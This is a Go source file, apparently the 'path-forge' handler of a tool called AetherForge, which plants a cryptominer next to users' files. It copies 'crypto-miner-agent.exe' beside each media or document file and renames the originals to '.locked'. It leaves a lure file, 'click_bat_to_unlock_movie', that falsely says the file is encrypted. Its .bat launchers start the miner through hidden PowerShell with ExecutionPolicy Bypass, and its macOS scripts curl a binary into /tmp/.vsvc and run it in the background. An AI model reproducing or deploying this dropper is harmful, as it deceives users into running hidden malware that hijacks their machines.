Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
462 lines
15 KiB
Go
462 lines
15 KiB
Go
package builder
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
// PathForgeRequest is the JSON body for POST /api/builder/path-forge.
|
|
type PathForgeRequest struct {
|
|
// RootPath is the local filesystem path to walk recursively.
|
|
RootPath string `json:"root_path"`
|
|
|
|
// StemMode controls how the output filename is derived:
|
|
// "original" → same stem as the source file (Terminator.mkv → Terminator.exe)
|
|
// "custom" → use OutputStem for every file
|
|
StemMode string `json:"stem_mode"` // "original" | "custom"
|
|
|
|
// OutputStem is used when StemMode == "custom".
|
|
OutputStem string `json:"output_stem"`
|
|
|
|
// TargetWindows / TargetMac selects which launcher files to write.
|
|
TargetWindows bool `json:"target_windows"`
|
|
TargetMac bool `json:"target_mac"`
|
|
|
|
// ServerURL is embedded in the Mac bootstrap curl command.
|
|
ServerURL string `json:"server_url"`
|
|
|
|
// LockOriginal renames the source file to filename.ext.locked so it cannot
|
|
// be opened without running the companion launcher. The launcher unlocks it,
|
|
// starts playback, then re-locks it after a short delay.
|
|
LockOriginal bool `json:"lock_original"`
|
|
|
|
// Extensions lists file extensions to target (dot-prefixed, lowercase).
|
|
// Leave empty to use the built-in media list.
|
|
Extensions []string `json:"extensions"`
|
|
}
|
|
|
|
// PathForgeResult is returned by the handler.
|
|
type PathForgeResult struct {
|
|
Success bool `json:"success"`
|
|
Total int `json:"total"`
|
|
Placed int `json:"placed"`
|
|
Skipped int `json:"skipped"`
|
|
Errors int `json:"errors"`
|
|
Results []PathForgeEntry `json:"results"`
|
|
ErrorList []string `json:"error_list,omitempty"`
|
|
}
|
|
|
|
type PathForgeEntry struct {
|
|
Source string `json:"source"` // original file (relative to root)
|
|
Files []string `json:"files"` // companion files placed
|
|
}
|
|
|
|
// defaultMediaExts is the set of file extensions we target when none are specified.
|
|
var defaultMediaExts = map[string]struct{}{
|
|
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
|
|
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
|
|
".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {},
|
|
".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {},
|
|
".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {},
|
|
}
|
|
|
|
// PathForgeHandler handles POST /api/builder/path-forge.
|
|
// It does not compile anything — it locates the prebuilt agent binary that
|
|
// lives next to AetherForge.exe and copies it alongside every matching file.
|
|
type PathForgeHandler struct {
|
|
dataDir string
|
|
}
|
|
|
|
func NewPathForgeHandler(dataDir string) *PathForgeHandler {
|
|
return &PathForgeHandler{dataDir: dataDir}
|
|
}
|
|
|
|
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method != http.MethodPost {
|
|
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
|
return
|
|
}
|
|
var req PathForgeRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.RootPath == "" {
|
|
http.Error(w, "root_path is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
cleanRoot, err := h.validateRootPath(req.RootPath)
|
|
if err != nil {
|
|
http.Error(w, "root_path rejected: "+err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
req.RootPath = cleanRoot
|
|
if !req.TargetWindows && !req.TargetMac {
|
|
req.TargetWindows = true
|
|
req.TargetMac = true
|
|
}
|
|
if req.StemMode == "" {
|
|
req.StemMode = "original"
|
|
}
|
|
if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" {
|
|
http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest)
|
|
return
|
|
}
|
|
|
|
// Locate the Windows agent binary.
|
|
agentExe := findAgentBinary(h.dataDir)
|
|
if req.TargetWindows && agentExe == "" {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
json.NewEncoder(w).Encode(&PathForgeResult{
|
|
Success: false,
|
|
ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"},
|
|
})
|
|
return
|
|
}
|
|
|
|
// Build the extension set.
|
|
extSet := buildExtSet(req.Extensions)
|
|
|
|
res := &PathForgeResult{}
|
|
|
|
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
|
|
if err != nil || d.IsDir() {
|
|
return nil
|
|
}
|
|
ext := strings.ToLower(filepath.Ext(d.Name()))
|
|
if _, ok := extSet[ext]; !ok {
|
|
res.Skipped++
|
|
return nil
|
|
}
|
|
|
|
res.Total++
|
|
rel, _ := filepath.Rel(req.RootPath, path)
|
|
|
|
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
|
|
dir := filepath.Dir(path)
|
|
|
|
// The name the launcher will reference — either the original or its
|
|
// locked rename (appended with ".locked" so no app can open it directly).
|
|
fileForLauncher := d.Name()
|
|
lockedName := d.Name() + ".locked"
|
|
|
|
if req.LockOriginal {
|
|
lockedPath := filepath.Join(dir, lockedName)
|
|
// Only rename if the locked file doesn't already exist.
|
|
if _, err := os.Stat(lockedPath); os.IsNotExist(err) {
|
|
if renErr := os.Rename(path, lockedPath); renErr != nil {
|
|
res.Errors++
|
|
res.ErrorList = append(res.ErrorList, "lock failed: "+rel+": "+renErr.Error())
|
|
return nil
|
|
}
|
|
}
|
|
fileForLauncher = lockedName
|
|
}
|
|
|
|
var placed []string
|
|
|
|
if req.TargetWindows && agentExe != "" {
|
|
// .exe copy of the agent
|
|
exeDst := filepath.Join(dir, stem+".exe")
|
|
if copyFileBytes(agentExe, exeDst) == nil {
|
|
placed = append(placed, stem+".exe")
|
|
}
|
|
// .bat launcher: unlock → play → re-lock → run agent (all seamless)
|
|
batDst := filepath.Join(dir, stem+".bat")
|
|
if err := os.WriteFile(batDst, []byte(batContent(fileForLauncher, d.Name(), stem, req.LockOriginal)), 0644); err == nil {
|
|
placed = append(placed, stem+".bat")
|
|
}
|
|
}
|
|
|
|
if req.TargetMac {
|
|
cmdDst := filepath.Join(dir, stem+".command")
|
|
if err := os.WriteFile(cmdDst, []byte(macContent(fileForLauncher, d.Name(), req.ServerURL, req.LockOriginal)), 0755); err == nil {
|
|
placed = append(placed, stem+".command")
|
|
}
|
|
}
|
|
|
|
// Drop the hint file — its name IS the instruction.
|
|
// No extension so it appears as a generic document icon on all platforms.
|
|
hintName := "click_bat_to_unlock_movie"
|
|
hintDst := filepath.Join(dir, hintName)
|
|
_ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644)
|
|
placed = append(placed, hintName)
|
|
|
|
mediaPlaced := len(placed) - 1 // exclude hint file from placement count
|
|
if mediaPlaced > 0 {
|
|
res.Placed += mediaPlaced
|
|
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
|
|
} else {
|
|
res.Errors++
|
|
res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel)
|
|
}
|
|
return nil
|
|
})
|
|
|
|
if err != nil {
|
|
log.Printf("[pathforge] walk error: %v", err)
|
|
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
|
|
}
|
|
res.Success = res.Errors == 0
|
|
|
|
w.Header().Set("Content-Type", "application/json")
|
|
json.NewEncoder(w).Encode(res)
|
|
}
|
|
|
|
// ─── helpers ──────────────────────────────────────────────────────────────────
|
|
|
|
func stemFor(mode, custom, filename string) string {
|
|
if mode == "custom" && strings.TrimSpace(custom) != "" {
|
|
return sanitizeStem(custom)
|
|
}
|
|
base := filepath.Base(filename)
|
|
name := strings.TrimSuffix(base, filepath.Ext(base))
|
|
return sanitizeStem(name)
|
|
}
|
|
|
|
func sanitizeStem(s string) string {
|
|
replacer := strings.NewReplacer(
|
|
"/", "-", "\\", "-", ":", "-",
|
|
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
|
)
|
|
return strings.TrimSpace(replacer.Replace(s))
|
|
}
|
|
|
|
// ─── BLD-D1: root_path allowlist validation ───────────────────────────────────
|
|
|
|
// validateRootPath ensures rootPath is safe to walk:
|
|
// - must not contain ".." segments (path traversal)
|
|
// - must resolve to a path under an operator-allowed prefix
|
|
func (h *PathForgeHandler) validateRootPath(rootPath string) (string, error) {
|
|
if containsDotDot(rootPath) {
|
|
return "", fmt.Errorf("must not contain '..' path traversal sequences")
|
|
}
|
|
abs, err := filepath.Abs(rootPath)
|
|
if err != nil {
|
|
return "", fmt.Errorf("invalid path: %w", err)
|
|
}
|
|
if !h.isAllowedRootPath(abs) {
|
|
return "", fmt.Errorf("path is outside allowed directories (must be under home, temp, or server data directory)")
|
|
}
|
|
return abs, nil
|
|
}
|
|
|
|
// containsDotDot returns true if any segment of the slash/backslash-separated
|
|
// path equals "..".
|
|
func containsDotDot(p string) bool {
|
|
for _, seg := range strings.FieldsFunc(p, func(r rune) bool { return r == '/' || r == '\\' }) {
|
|
if seg == ".." {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// isAllowedRootPath reports whether abs is equal to or under one of the
|
|
// safe prefix directories: the server dataDir, the user home directory, or
|
|
// the OS temp directory.
|
|
func (h *PathForgeHandler) isAllowedRootPath(abs string) bool {
|
|
var prefixes []string
|
|
if h.dataDir != "" {
|
|
if d, err := filepath.Abs(h.dataDir); err == nil {
|
|
prefixes = append(prefixes, d)
|
|
}
|
|
}
|
|
if home, err := os.UserHomeDir(); err == nil {
|
|
prefixes = append(prefixes, home)
|
|
}
|
|
prefixes = append(prefixes, os.TempDir())
|
|
for _, prefix := range prefixes {
|
|
if isPathUnder(abs, prefix) {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
// isPathUnder reports whether path equals parent or is a subdirectory of it.
|
|
// Uses filepath.Rel to correctly handle cross-platform path semantics.
|
|
func isPathUnder(path, parent string) bool {
|
|
rel, err := filepath.Rel(parent, path)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return !strings.HasPrefix(rel, "..")
|
|
}
|
|
|
|
// ─── BLD-D2: shell/bat escaping helpers ──────────────────────────────────────
|
|
|
|
// escapeBat escapes a value for embedding inside a cmd.exe double-quoted string.
|
|
// % must become %% to prevent variable expansion; " terminates the string.
|
|
func escapeBat(s string) string {
|
|
s = strings.ReplaceAll(s, "%", "%%")
|
|
s = strings.ReplaceAll(s, `"`, `\"`)
|
|
return s
|
|
}
|
|
|
|
// escapeBatPS escapes a value for embedding inside a PowerShell single-quoted
|
|
// string that is itself inside a cmd.exe double-quoted -Command argument.
|
|
func escapeBatPS(s string) string {
|
|
s = strings.ReplaceAll(s, "%", "%%") // cmd.exe percent expansion
|
|
s = strings.ReplaceAll(s, `"`, `\"`) // cmd.exe double-quote (string terminator)
|
|
s = strings.ReplaceAll(s, "'", "''") // PowerShell single-quote escape
|
|
return s
|
|
}
|
|
|
|
// escapeShDouble escapes a value for embedding inside a bash double-quoted string.
|
|
func escapeShDouble(s string) string {
|
|
s = strings.ReplaceAll(s, `\`, `\\`)
|
|
s = strings.ReplaceAll(s, `"`, `\"`)
|
|
s = strings.ReplaceAll(s, `$`, `\$`)
|
|
s = strings.ReplaceAll(s, "`", "\\`")
|
|
return s
|
|
}
|
|
|
|
// escapeShSingle escapes a value for embedding inside a bash single-quoted string.
|
|
// The only character that needs escaping is ' itself (end-quote, literal, re-open).
|
|
func escapeShSingle(s string) string {
|
|
return strings.ReplaceAll(s, "'", `'\''`)
|
|
}
|
|
|
|
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
|
|
// The filename itself is the instruction; the content gives a second nudge.
|
|
func hintContent(stem string, macOnly bool) string {
|
|
if macOnly {
|
|
return "This folder contains an encrypted media file.\n" +
|
|
"To play it, double-click " + stem + ".command\n" +
|
|
"\n" +
|
|
"The launcher unlocks and opens the video automatically.\n"
|
|
}
|
|
return "This folder contains an encrypted media file.\n" +
|
|
"To play it, double-click " + stem + ".bat\n" +
|
|
"\n" +
|
|
"The .bat file unlocks and opens the video automatically.\n"
|
|
}
|
|
|
|
// batContent creates a .bat launcher.
|
|
//
|
|
// When lockOriginal is true the file on disk is named lockedFile
|
|
// (e.g. "Terminator.mkv.locked"). The bat:
|
|
// 1. Renames lockedFile → realFile (unlock)
|
|
// 2. Opens realFile with the default player
|
|
// 3. After 4 s, renames realFile → lockedFile again (re-lock) — hidden
|
|
// 4. Runs the agent .exe — hidden
|
|
//
|
|
// When lockOriginal is false it simply opens realFile and runs the agent.
|
|
func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string {
|
|
// Escape for cmd.exe double-quoted strings (bat context).
|
|
lfBat := escapeBat(lockedFile)
|
|
rfBat := escapeBat(realFile)
|
|
// Escape for PowerShell single-quoted strings inside the bat -Command "..." argument.
|
|
lfPS := escapeBatPS(lockedFile)
|
|
rfPS := escapeBatPS(realFile)
|
|
esPS := escapeBatPS(exeStem)
|
|
|
|
b := "@echo off\r\n"
|
|
if lockOriginal {
|
|
// Step 1: unlock
|
|
b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lfBat, rfBat)
|
|
}
|
|
// Step 2: open the file
|
|
b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", rfBat)
|
|
// Step 3+4: hidden PowerShell — wait, re-lock, run agent
|
|
if lockOriginal {
|
|
b += fmt.Sprintf(
|
|
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"& {"+
|
|
" Start-Sleep 4;"+
|
|
" if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+
|
|
" Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
|
|
rfPS, rfPS, lfPS, esPS)
|
|
} else {
|
|
b += fmt.Sprintf(
|
|
"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
|
|
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n",
|
|
esPS)
|
|
}
|
|
return b
|
|
}
|
|
|
|
// macContent creates a .command shell script for macOS/Linux.
|
|
// When lockOriginal is true it renames the locked file, opens it, re-locks after 4 s.
|
|
func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string {
|
|
s := "#!/bin/bash\n"
|
|
dir := "$(dirname \"$0\")"
|
|
if lockOriginal {
|
|
s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lockedFile, dir, realFile)
|
|
}
|
|
s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, realFile)
|
|
if lockOriginal {
|
|
s += fmt.Sprintf(
|
|
"( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n",
|
|
dir, realFile, dir, lockedFile)
|
|
}
|
|
if serverURL != "" {
|
|
s += fmt.Sprintf(
|
|
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
|
|
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
|
|
serverURL)
|
|
}
|
|
return s
|
|
}
|
|
|
|
// findAgentBinary looks next to the server executable and dataDir for the agent binary.
|
|
func findAgentBinary(dataDir string) string {
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
return ""
|
|
}
|
|
dir := filepath.Dir(exe)
|
|
candidates := []string{
|
|
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
|
filepath.Join(dir, "crypto-miner-agent.exe"),
|
|
}
|
|
if dataDir != "" {
|
|
candidates = append(candidates,
|
|
filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"),
|
|
filepath.Join(dataDir, "crypto-miner-agent.exe"),
|
|
)
|
|
}
|
|
for _, c := range candidates {
|
|
if _, err := os.Stat(c); err == nil {
|
|
return c
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// buildExtSet merges user-specified extensions with defaults.
|
|
func buildExtSet(exts []string) map[string]struct{} {
|
|
if len(exts) == 0 {
|
|
return defaultMediaExts
|
|
}
|
|
m := make(map[string]struct{}, len(exts))
|
|
for _, e := range exts {
|
|
if !strings.HasPrefix(e, ".") {
|
|
e = "." + e
|
|
}
|
|
m[strings.ToLower(e)] = struct{}{}
|
|
}
|
|
return m
|
|
}
|
|
|
|
func copyFileBytes(src, dst string) error {
|
|
in, err := os.Open(src)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer in.Close()
|
|
out, err := os.Create(dst)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer out.Close()
|
|
_, err = io.Copy(out, in)
|
|
return err
|
|
}
|